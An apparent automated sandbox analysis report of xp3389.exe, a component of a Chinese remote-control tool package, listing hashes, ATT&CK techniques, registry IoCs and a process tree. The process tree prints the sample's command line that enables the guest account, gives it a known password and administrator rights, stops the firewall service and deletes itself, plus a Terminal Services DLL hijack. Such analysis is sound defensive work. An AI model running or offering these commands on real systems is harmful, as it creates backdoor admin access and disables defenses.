9229bf3c95eefabaf00e4221c0ff71ad3cb8c842a813d8a5816af2b0b15bba06

Analysis

max time kernel
44s
max time network
49s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
25-11-2022 21:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

夢魔个人远控GHOST+.3.78美化版/Tool/xp3389.exe
Size

94KB
MD5

fda31787845353b9a8518f66288d2779
SHA1

9e3a0f09a92301fa8dc2e394958df2ad5d879372
SHA256

828f5c2e6e571f77872219b93d91ad35b237cb5ba11c459f217d304f9c270096
SHA512

36e8578973993d259a6b5db87e73d62e4fe27994f2339ef4b2f915ffd087664a90627e0eb751f6bdccb7c3aa96f968e59dd9c06298e584b9203b548c8f917611
SSDEEP

1536:Dszc35cz+VhixNufsomxrsbGAFKh87pZl6nC24Zj4BD1vnE9ZmPmMfKRdpV:Cc35cz+Vhiuf6wrWyZwnC2mKE9sP2N

Score

9^/10

persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

xp3389.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%SystemRoot%\\system32\\termsrvhack.dll"	xp3389.exe

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

xp3389.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\KeepRASConnections = "1"	xp3389.exe

Runs net.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

xp3389.execmd.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2012 wrote to memory of 1048	2012	xp3389.exe	cmd.exe
PID 2012 wrote to memory of 1048	2012	xp3389.exe	cmd.exe
PID 2012 wrote to memory of 1048	2012	xp3389.exe	cmd.exe
PID 2012 wrote to memory of 1048	2012	xp3389.exe	cmd.exe
PID 1048 wrote to memory of 1996	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1996	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1996	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1996	1048	cmd.exe	net.exe
PID 1996 wrote to memory of 1728	1996	net.exe	net1.exe
PID 1996 wrote to memory of 1728	1996	net.exe	net1.exe
PID 1996 wrote to memory of 1728	1996	net.exe	net1.exe
PID 1996 wrote to memory of 1728	1996	net.exe	net1.exe
PID 1048 wrote to memory of 652	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 652	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 652	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 652	1048	cmd.exe	net.exe
PID 652 wrote to memory of 516	652	net.exe	net1.exe
PID 652 wrote to memory of 516	652	net.exe	net1.exe
PID 652 wrote to memory of 516	652	net.exe	net1.exe
PID 652 wrote to memory of 516	652	net.exe	net1.exe
PID 1048 wrote to memory of 320	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 320	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 320	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 320	1048	cmd.exe	net.exe
PID 320 wrote to memory of 632	320	net.exe	net1.exe
PID 320 wrote to memory of 632	320	net.exe	net1.exe
PID 320 wrote to memory of 632	320	net.exe	net1.exe
PID 320 wrote to memory of 632	320	net.exe	net1.exe
PID 1048 wrote to memory of 1656	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1656	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1656	1048	cmd.exe	net.exe
PID 1048 wrote to memory of 1656	1048	cmd.exe	net.exe
PID 1656 wrote to memory of 1188	1656	net.exe	net1.exe
PID 1656 wrote to memory of 1188	1656	net.exe	net1.exe
PID 1656 wrote to memory of 1188	1656	net.exe	net1.exe
PID 1656 wrote to memory of 1188	1656	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\夢魔个人远控GHOST+.3.78美化版\Tool\xp3389.exe
"C:\Users\Admin\AppData\Local\Temp\夢魔个人远控GHOST+.3.78美化版\Tool\xp3389.exe"
1⤵
- Sets DLL path for service in the registry
- Modifies WinLogon
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net user guest /active:yes && net user guest guest && net localgroup administrators guest /add && net stop SharedAccess /y && del "C:\Users\Admin\AppData\Local\Temp\??????GHOST+.3.78???\Tool\xp3389.exe" && sc delete SharedAccess
2⤵
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\SysWOW64\net.exe
net user guest /active:yes
3⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest /active:yes
4⤵
PID:1728

C:\Windows\SysWOW64\net.exe
net user guest guest
3⤵
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest guest
4⤵
PID:516

C:\Windows\SysWOW64\net.exe
net localgroup administrators guest /add
3⤵
- Suspicious use of WriteProcessMemory
PID:320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators guest /add
4⤵
PID:632

C:\Windows\SysWOW64\net.exe
net stop SharedAccess /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SharedAccess /y
4⤵
PID:1188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/320-60-0x0000000000000000-mapping.dmp

Download
memory/516-58-0x0000000000000000-mapping.dmp

Download
memory/632-61-0x0000000000000000-mapping.dmp

Download
memory/652-57-0x0000000000000000-mapping.dmp

Download
memory/1048-54-0x0000000000000000-mapping.dmp

Download
memory/1188-63-0x0000000000000000-mapping.dmp

Download
memory/1656-62-0x0000000000000000-mapping.dmp

Download
memory/1728-56-0x0000000000000000-mapping.dmp

Download
memory/1996-55-0x0000000000000000-mapping.dmp

Download